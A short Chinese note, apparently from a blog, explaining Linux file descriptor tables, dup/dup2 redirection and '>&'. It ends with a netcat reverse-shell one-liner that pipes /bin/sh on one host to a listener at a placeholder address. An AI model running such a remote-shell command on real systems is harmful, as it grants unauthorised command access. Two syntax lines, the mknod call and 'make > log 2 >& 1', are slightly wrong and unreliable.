1. Linux中執行open操作,打開一個文件時,會在進程文件描述表中新添加一項(文件描述符id + 指向內核文件描述表項的指針)。
文件描述符表
------------
fd0 0 | p0 -------------> 文件表0 ---------> vnode0
------------
fd1 1 | p1 -------------> 文件表1 ---------> vnode1
------------
fd2 2 | p2
------------
2. 重定向時,直接修改指向內核文件描述表項的指針。(dup, dup2系統調用)
> 將標準輸出重定向到某個文件中。 (注:>&1 重定向到標準輸出)
文件描述符表
------------
fd0 0 | p0
------------
n_fd 1 | p1 -----------
------------ \
fd2 2 | p2 \
------------ _\|
fd3 3 | p3 -------------> 文件表3 ---------> vnode3
------------
3. >& 將標準輸出和錯誤輸出都重定向到指定文件。
如 make >& log 將make輸出的所有信息都寫入log文件中。(也可以這麼寫:make > log 2 >& 1)
4. 利用NC命令將主機A中的重定向到主機B:
1). B的終端中執行如下命令:
nc -lvn 1234
2). A中執行:
mknod /tmp/testpipe
/bin/sh 0</tmp/testpipe | nc IP_OF_B 1234 1>/tmp/testpipe
http://www.cnblogs.com/GODYCA/archive/2013/01/05/2846197.html